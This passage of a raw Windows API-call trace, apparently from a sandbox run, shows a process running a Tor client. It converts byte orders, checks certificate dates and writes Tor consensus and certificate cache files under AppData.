(hostlong=0xdb58e8e6) returned 0xe6e858db [0119.950] htonl (hostlong=0xe6e858db) returned 0xdb58e8e6 [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0x9fcbc148) returned 0x48c1cb9f [0119.950] htonl (hostlong=0x48c1cb9f) returned 0x9fcbc148 [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0xb0096623) returned 0x236609b0 [0119.950] htonl (hostlong=0x236609b0) returned 0xb0096623 [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0x555ddacc) returned 0xccda5d55 [0119.950] htonl (hostlong=0xccda5d55) returned 0x555ddacc [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0x7197112d) returned 0x2d119771 [0119.950] htonl (hostlong=0x2d119771) returned 0x7197112d [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0x4e9ba860) returned 0x60a89b4e [0119.950] htonl (hostlong=0x60a89b4e) returned 0x4e9ba860 [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0xb9a5a8a8) returned 0xa8a8a5b9 [0119.950] htonl (hostlong=0xa8a8a5b9) returned 0xb9a5a8a8 [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0xd92b32e6) returned 0xe6322bd9 [0119.950] htonl (hostlong=0xe6322bd9) returned 0xd92b32e6 [0119.950] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0xbc620f82) returned 0x820f62bc [0119.951] htonl (hostlong=0x820f62bc) returned 0xbc620f82 [0119.951] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0xd5117cb2) returned 0xb27c11d5 [0119.951] htonl (hostlong=0xb27c11d5) returned 0xd5117cb2 [0119.951] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0x59166440) returned 0x40641659 [0119.951] htonl (hostlong=0x40641659) returned 0x59166440 [0119.951] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0xc0f1c3b2) returned 0xb2c3f1c0 [0119.951] htonl (hostlong=0xb2c3f1c0) returned 0xc0f1c3b2 [0119.951] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0x5b79e6d0) returned 0xd0e6795b [0119.951] htonl (hostlong=0xd0e6795b) returned 0x5b79e6d0 [0119.951] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0x90d92d20) returned 0x202dd990 [0119.951] htonl (hostlong=0x202dd990) returned 0x90d92d20 [0119.951] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0x8b3b756e) returned 0x6e753b8b [0119.951] htonl (hostlong=0x6e753b8b) returned 0x8b3b756e [0119.951] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0x5e130eb7) returned 0xb70e135e [0119.951] htonl (hostlong=0xb70e135e) returned 0x5e130eb7 [0119.951] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0x6bb58722) returned 0x2287b56b [0119.951] htonl (hostlong=0x2287b56b) returned 0x6bb58722 [0119.951] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0x32074aab) returned 0xab4a0732 [0119.951] htonl (hostlong=0xab4a0732) returned 0x32074aab [0119.951] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0x551590e0) returned 0xe0901555 [0119.951] htonl (hostlong=0xe0901555) returned 0x551590e0 [0119.951] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0xbca5e426) returned 0x26e4a5bc [0119.951] htonl (hostlong=0x26e4a5bc) returned 0xbca5e426 [0119.951] _errno () returned 0x9f07d8 [0119.951] htonl (hostlong=0xb072f82f) returned 0x2ff872b0 [0119.951] htonl (hostlong=0x2ff872b0) returned 0xb072f82f [0119.951] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0x345a5415) returned 0x15545a34 [0119.952] htonl (hostlong=0x15545a34) returned 0x345a5415 [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0x43b7d152) returned 0x52d1b743 [0119.952] htonl (hostlong=0x52d1b743) returned 0x43b7d152 [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0x4e6c2e72) returned 0x722e6c4e [0119.952] htonl (hostlong=0x722e6c4e) returned 0x4e6c2e72 [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0x55f47a45) returned 0x457af455 [0119.952] htonl (hostlong=0x457af455) returned 0x55f47a45 [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0xbc2864c7) returned 0xc76428bc [0119.952] htonl (hostlong=0xc76428bc) returned 0xbc2864c7 [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0xb94535bc) returned 0xbc3545b9 [0119.952] htonl (hostlong=0xbc3545b9) returned 0xb94535bc [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0x5e17f72a) returned 0x2af7175e [0119.952] htonl (hostlong=0x2af7175e) returned 0x5e17f72a [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0xa7724304) returned 0x44372a7 [0119.952] htonl (hostlong=0x44372a7) returned 0xa7724304 [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0x509d4cc) returned 0xccd40905 [0119.952] htonl (hostlong=0xccd40905) returned 0x509d4cc [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0x88f3931c) returned 0x1c93f388 [0119.952] htonl (hostlong=0x1c93f388) returned 0x88f3931c [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0x5e820afb) returned 0xfb0a825e [0119.952] htonl (hostlong=0xfb0a825e) returned 0x5e820afb [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0x2eb61397) returned 0x9713b62e [0119.952] htonl (hostlong=0x9713b62e) returned 0x2eb61397 [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0x51193683) returned 0x83361951 [0119.952] htonl (hostlong=0x83361951) returned 0x51193683 [0119.952] _errno () returned 0x9f07d8 [0119.952] htonl (hostlong=0x9fcb26fa) returned 0xfa26cb9f [0119.952] htonl (hostlong=0xfa26cb9f) returned 0x9fcb26fa [0119.953] _errno () returned 0x9f07d8 [0119.953] htonl (hostlong=0x4e82c387) returned 0x87c3824e [0119.953] htonl (hostlong=0x87c3824e) returned 0x4e82c387 [0119.953] _errno () returned 0x9f07d8 [0119.953] htonl (hostlong=0x5096eec) returned 0xec6e0905 [0119.953] htonl (hostlong=0xec6e0905) returned 0x5096eec [0119.953] _errno () returned 0x9f07d8 [0119.953] htonl (hostlong=0xa3ac59e3) returned 0xe359aca3 [0119.953] htonl (hostlong=0xe359aca3) returned 0xa3ac59e3 [0119.953] _errno () returned 0x9f07d8 [0119.953] htonl (hostlong=0x455d630e) returned 0xe635d45 [0119.953] htonl (hostlong=0xe635d45) returned 0x455d630e [0119.953] _errno () returned 0x9f07d8 [0119.953] htonl (hostlong=0x4b7f0f49) returned 0x490f7f4b [0119.953] htonl (hostlong=0x490f7f4b) returned 0x4b7f0f49 [0119.953] _errno () returned 0x9f07d8 [0119.953] htonl (hostlong=0x898708e9) returned 0xe9088789 [0119.953] htonl (hostlong=0xe9088789) returned 0x898708e9 [0119.953] _errno () returned 0x9f07d8 [0119.953] htonl (hostlong=0x2d3f0ee1) returned 0xe10e3f2d [0119.953] htonl (hostlong=0xe10e3f2d) returned 0x2d3f0ee1 [0119.953] _errno () returned 0x9f07d8 [0119.953] htonl (hostlong=0x550acb47) returned 0x47cb0a55 [0119.953] htonl (hostlong=0x47cb0a55) returned 0x550acb47 [0119.953] _errno () returned 0x9f07d8 [0119.953] htonl (hostlong=0xb9b76b1e) returned 0x1e6bb7b9 [0119.953] htonl (hostlong=0x1e6bb7b9) returned 0xb9b76b1e [0119.953] _errno () returned 0x9f07d8 [0119.953] htonl (hostlong=0x33ffc64d) returned 0x4dc6ff33 [0119.953] htonl (hostlong=0x4dc6ff33) returned 0x33ffc64d [0119.953] _errno () returned 0x9f07d8 [0119.953] htonl (hostlong=0x175b420b) returned 0xb425b17 [0119.953] htonl (hostlong=0xb425b17) returned 0x175b420b [0119.953] _errno () returned 0x9f07d8 [0119.953] htonl (hostlong=0x426f3e55) returned 0x553e6f42 [0119.953] htonl (hostlong=0x553e6f42) returned 0x426f3e55 [0119.953] htonl (hostlong=0x5d7b5a0d) returned 0xd5a7b5d [0119.953] htonl (hostlong=0xd5a7b5d) returned 0x5d7b5a0d [0119.953] htonl (hostlong=0x4246d9b3) returned 0xb3d94642 [0119.953] htonl (hostlong=0xb3d94642) returned 0x4246d9b3 [0119.954] htonl (hostlong=0x5de4aadf) returned 0xdfaae45d [0119.954] htonl (hostlong=0xdfaae45d) returned 0x5de4aadf [0119.954] htonl (hostlong=0x330f2a13) returned 0x132a0f33 [0119.954] htonl (hostlong=0x132a0f33) returned 0x330f2a13 [0119.954] htonl (hostlong=0x5bdb1cd3) returned 0xd31cdb5b [0119.954] htonl (hostlong=0xd31cdb5b) returned 0x5bdb1cd3 [0119.954] htonl (hostlong=0x4dc6638b) returned 0x8b63c64d [0119.954] htonl (hostlong=0x8b63c64d) returned 0x4dc6638b [0119.954] htonl (hostlong=0x5be756cc) returned 0xcc56e75b [0119.954] htonl (hostlong=0xcc56e75b) returned 0x5be756cc [0119.954] htonl (hostlong=0x53d46672) returned 0x7266d453 [0119.954] htonl (hostlong=0x7266d453) returned 0x53d46672 [0119.954] htonl (hostlong=0x6baabc9b) returned 0x9bbcaa6b [0119.954] htonl (hostlong=0x9bbcaa6b) returned 0x6baabc9b [0119.954] htonl (hostlong=0xd587c66a) returned 0x6ac687d5 [0119.954] htonl (hostlong=0x6ac687d5) returned 0xd587c66a [0119.954] htonl (hostlong=0xd8bd96b9) returned 0xb996bdd8 [0119.954] htonl (hostlong=0xb996bdd8) returned 0xd8bd96b9 [0119.954] htonl (hostlong=0x5042877b) returned 0x7b874250 [0119.954] htonl (hostlong=0x7b874250) returned 0x5042877b [0119.954] htonl (hostlong=0x3ef9aaba) returned 0xbaaaf93e [0119.954] htonl (hostlong=0xbaaaf93e) returned 0x3ef9aaba [0119.954] htonl (hostlong=0xbc285b57) returned 0x575b28bc [0119.954] htonl (hostlong=0x575b28bc) returned 0xbc285b57 [0119.954] htonl (hostlong=0x425a6575) returned 0x75655a42 [0119.954] htonl (hostlong=0x75655a42) returned 0x425a6575 [0119.954] htonl (hostlong=0xa3ac9c89) returned 0x899caca3 [0119.954] htonl (hostlong=0x899caca3) returned 0xa3ac9c89 [0119.955] htonl (hostlong=0x2d144301) returned 0x143142d [0119.955] htonl (hostlong=0x143142d) returned 0x2d144301 [0119.955] htonl (hostlong=0xa7722366) returned 0x662372a7 [0119.955] htonl (hostlong=0x662372a7) returned 0xa7722366 [0119.955] htonl (hostlong=0x49f62971) returned 0x7129f649 [0119.955] htonl (hostlong=0x7129f649) returned 0x49f62971 [0119.955] htonl (hostlong=0x51e1d14f) returned 0x4fd1e151 [0119.955] htonl (hostlong=0x4fd1e151) returned 0x51e1d14f [0119.955] htonl (hostlong=0xd472e41e) returned 0x1ee472d4 [0119.955] htonl (hostlong=0x1ee472d4) returned 0xd472e41e [0119.955] htonl (hostlong=0x5be97433) returned 0x3374e95b [0119.955] htonl (hostlong=0x3374e95b) returned 0x5be97433 [0119.955] htonl (hostlong=0x53adc6e2) returned 0xe2c6ad53 [0119.955] htonl (hostlong=0xe2c6ad53) returned 0x53adc6e2 [0119.955] htonl (hostlong=0x5d909d0b) returned 0xb9d905d [0119.955] htonl (hostlong=0xb9d905d) returned 0x5d909d0b [0119.955] htonl (hostlong=0xb03a799f) returned 0x9f793ab0 [0119.955] htonl (hostlong=0x9f793ab0) returned 0xb03a799f [0119.955] htonl (hostlong=0x5877322) returned 0x22738705 [0119.955] htonl (hostlong=0x22738705) returned 0x5877322 [0119.955] htonl (hostlong=0xa2f34bcc) returned 0xcc4bf3a2 [0119.955] htonl (hostlong=0xcc4bf3a2) returned 0xa2f34bcc [0119.955] htonl (hostlong=0x5667b56a) returned 0x6ab56756 [0119.955] htonl (hostlong=0x6ab56756) returned 0x5667b56a [0119.955] htonl (hostlong=0xb220de7d) returned 0x7dde20b2 [0119.955] htonl (hostlong=0x7dde20b2) returned 0xb220de7d [0119.955] htonl (hostlong=0xbce28258) returned 0x5882e2bc [0119.955] htonl (hostlong=0x5882e2bc) returned 0xbce28258 [0119.955] htonl (hostlong=0x5c41455) returned 0x5514c405 [0119.955] htonl (hostlong=0x5514c405) returned 0x5c41455 [0120.019] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\unverified-microdesc-consensus.tmp" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\unverified-microdesc-consensus.tmp"), _OpenFlag=17153) returned 4 [0120.019] _write (in: _FileHandle=4, _Buf=0x3940020*, _MaxCharCount=0x1fb76c | out: _Buf=0x3940020*) returned 2078572 [0120.120] _close (_FileHandle=4) returned 0 [0120.201] _stati64 (in: _Name="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\unverified-microdesc-consensus", _Stat=0x36f048 | out: _Stat=0x36f048) returned -1 [0120.201] rename (_OldFilename="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\unverified-microdesc-consensus.tmp", _NewFilename="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\unverified-microdesc-consensus") returned 0 [0120.291] getenv (_VarName="OPENSSL_ALLOW_PROXY_CERTS") returned 0x0 [0120.381] gmtime (param_1=0x36ee0c) returned 0x841688 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="170920210539Z") returned 0xd [0120.381] strcmp (_Str1="170612000000Z", _Str2="170920210539Z") returned -1 [0120.381] gmtime (param_1=0x36ee0c) returned 0x841688 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="170819210539Z") returned 0xd [0120.381] strcmp (_Str1="171103235959Z", _Str2="170819210539Z") returned 1 [0120.381] gmtime (param_1=0x36ee0c) returned 0x841688 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="170920210539Z") returned 0xd [0120.381] strcmp (_Str1="170120000000Z", _Str2="170920210539Z") returned -1 [0120.381] gmtime (param_1=0x36ee0c) returned 0x841688 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="") returned 0x0 [0120.381] strlen (_Str="170819210539Z") returned 0xd [0120.552] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-certs.tmp" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-certs.tmp"), _OpenFlag=17153) returned 4 [0120.552] _write (in: _FileHandle=4, _Buf=0x8856f8*, _MaxCharCount=0xa12 | out: _Buf=0x8856f8*) returned 2578 [0120.553] _write (in: _FileHandle=4, _Buf=0x3c4e858*, _MaxCharCount=0x8b9 | out: _Buf=0x3c4e858*) returned 2233 [0120.553] _write (in: _FileHandle=4, _Buf=0x3c48fb0*, _MaxCharCount=0x8b9 | out: _Buf=0x3c48fb0*) returned 2233 [0120.553] _write (in: _FileHandle=4, _Buf=0x3c4c1c8*, _MaxCharCount=0x8b9 | out: _Buf=0x3c4c1c8*) returned 2233 [0120.553] _write (in: _FileHandle=4, _Buf=0x3c453a8*, _MaxCharCount=0x8b9 | out: _Buf=0x3c453a8*) returned 2233 [0120.553] _write (in: _FileHandle=4, _Buf=0x3c4d510*, _MaxCharCount=0x8b9 | out: _Buf=0x3c4d510*) returned 2233 [0120.553] _write (in: _FileHandle=4, _Buf=0x3c51790*, _MaxCharCount=0x8b9 | out: _Buf=0x3c51790*) returned 2233 [0120.554] _write (in: _FileHandle=4, _Buf=0x905758*, _MaxCharCount=0x8b9 | out: _Buf=0x905758*) returned 2233 [0120.554] _close (_FileHandle=4) returned 0 [0120.554] _stati64 (in: _Name="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-certs", _Stat=0x36f138 | out: _Stat=0x36f138) returned -1 [0120.555] rename (_OldFilename="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-certs.tmp", _NewFilename="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-certs") returned 0 [0120.621] _unlink (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\unverified-microdesc-consensus") returned 0 [0120.652] strftime (in: _Buf=0x36f160, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-22 02:30:00") returned 0x13 [0120.652] localtime (param_1=0x36f0b8) returned 0x841688 [0120.652] strftime (in: _Buf=0x36f174, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-22 04:30:00") returned 0x13 [0120.653] localtime (param_1=0x36f0b8) returned 0x841688 [0120.653] strftime (in: _Buf=0x36f188, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-22 03:24:58") returned 0x13 [0120.654] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdesc-consensus.tmp" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdesc-consensus.tmp"), _OpenFlag=17153) returned 4 [0120.654] _write (in: _FileHandle=4, _Buf=0x3d90020*, _MaxCharCount=0x1fb76c | out: _Buf=0x3d90020*) returned 2078572 [0120.813] _close (_FileHandle=4) returned 0 [0120.846] _stati64 (in: _Name="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdesc-consensus", _Stat=0x36ef98 | out: _Stat=0x36ef98) returned -1 [0120.846] rename (_OldFilename="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdesc-consensus.tmp", _NewFilename="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdesc-consensus") returned 0 [0120.961] getenv (_VarName="OPENSSL_ALLOW_PROXY_CERTS") returned 0x0 [0120.963] getenv (_VarName="OPENSSL_ALLOW_PROXY_CERTS") returned 0x0 [0120.971] getenv (_VarName="OPENSSL_ALLOW_PROXY_CERTS") returned 0x0 [0121.031] gmtime (param_1=0x36ee0c) returned 0x841688 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="170920210540Z") returned 0xd [0121.031] strcmp (_Str1="170328000000Z", _Str2="170920210540Z") returned -1 [0121.031] gmtime (param_1=0x36ee0c) returned 0x841688 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="170819210540Z") returned 0xd [0121.031] gmtime (param_1=0x36ee0c) returned 0x841688 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="170920210540Z") returned 0xd [0121.031] strcmp (_Str1="170404000000Z", _Str2="170920210540Z") returned -1 [0121.031] gmtime (param_1=0x36ee0c) returned 0x841688 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="") returned 0x0 [0121.031] strlen (_Str="170819210540Z") returned 0xd [0121.033] gmtime (param_1=0x36ee0c) returned 0x841688 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="170920210540Z") returned 0xd [0121.033] strcmp (_Str1="170812000000Z", _Str2="170920210540Z") returned -1 [0121.033] gmtime (param_1=0x36ee0c) returned 0x841688 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="170819210540Z") returned 0xd [0121.033] strcmp (_Str1="170828235959Z", _Str2="170819210540Z") returned 1 [0121.033] gmtime (param_1=0x36ee0c) returned 0x841688 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.033] strlen (_Str="") returned 0x0 [0121.034] strlen (_Str="") returned 0x0 [0121.034] strlen (_Str="") returned 0x0 [0121.034] strlen (_Str="170920210540Z") returned 0xd [0121.034] strcmp (_Str1="170701000000Z", _Str2="170920210540Z") returned -1 [0121.034] gmtime (param_1=0x36ee0c) returned 0x841688 [0121.034] strlen (_Str="") returned 0x0 [0121.034] strlen (_Str="") returned 0x0 [0121.034] strlen (_Str="") returned 0x0 [0121.034] strlen (_Str="") returned 0x0 [0121.034] strlen (_Str="") returned 0x0 [0121.034] strlen (_Str="") returned 0x0 [0121.034] strlen (_Str="170819210540Z") returned 0xd [0121.043] gmtime (param_1=0x36ee0c) returned 0x841688 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="170920210540Z") returned 0xd [0121.043] strcmp (_Str1="170609000000Z", _Str2="170920210540Z") returned -1 [0121.043] gmtime (param_1=0x36ee0c) returned 0x841688 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="170819210540Z") returned 0xd [0121.043] strcmp (_Str1="170916000000Z", _Str2="170819210540Z") returned 1 [0121.043] gmtime (param_1=0x36ee0c) returned 0x841688 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="170920210540Z") returned 0xd [0121.043] gmtime (param_1=0x36ee0c) returned 0x841688 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="") returned 0x0 [0121.043] strlen (_Str="170819210540Z") returned 0xd [0121.043] strcmp (_Str1="171102000000Z", _Str2="170819210540Z") returned 1 [0121.409] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0121.424] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 0 [0121.424] gmtime (param_1=0x36f188) returned 0x841688 [0121.424] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.424] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.424] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.424] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.425] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.425] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 33 [0121.425] _write (in: _FileHandle=4, _Buf=0x3be2e70*, _MaxCharCount=0x168 | out: _Buf=0x3be2e70*) returned 360 [0121.425] gmtime (param_1=0x36f188) returned 0x841688 [0121.425] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.425] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.425] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.425] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.425] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.425] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 426 [0121.425] _write (in: _FileHandle=4, _Buf=0x3c4f2c0*, _MaxCharCount=0x178 | out: _Buf=0x3c4f2c0*) returned 376 [0121.425] gmtime (param_1=0x36f188) returned 0x841688 [0121.425] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.425] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.425] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.425] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.425] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.425] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 835 [0121.425] _write (in: _FileHandle=4, _Buf=0x3c4f448*, _MaxCharCount=0x178 | out: _Buf=0x3c4f448*) returned 376 [0121.425] gmtime (param_1=0x36f188) returned 0x841688 [0121.425] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.425] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.425] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.425] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.425] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.426] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 1244 [0121.426] _write (in: _FileHandle=4, _Buf=0x3c4fa68*, _MaxCharCount=0x178 | out: _Buf=0x3c4fa68*) returned 376 [0121.426] gmtime (param_1=0x36f188) returned 0x841688 [0121.426] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.426] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.426] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.426] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.426] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.426] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 1653 [0121.426] _write (in: _FileHandle=4, _Buf=0x3c4f758*, _MaxCharCount=0x178 | out: _Buf=0x3c4f758*) returned 376 [0121.426] gmtime (param_1=0x36f188) returned 0x841688 [0121.426] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.426] _vsnprintf 